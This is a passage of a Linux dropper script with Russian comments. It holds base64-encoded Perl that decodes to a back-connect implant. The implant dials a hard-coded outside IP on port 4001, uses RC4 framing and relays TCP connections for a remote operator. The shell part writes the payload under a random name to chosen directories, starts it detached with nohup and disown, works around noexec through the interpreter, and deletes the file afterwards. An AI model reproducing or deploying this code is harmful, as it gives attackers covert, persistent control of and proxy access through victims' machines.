KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_b563487d() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzgnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsK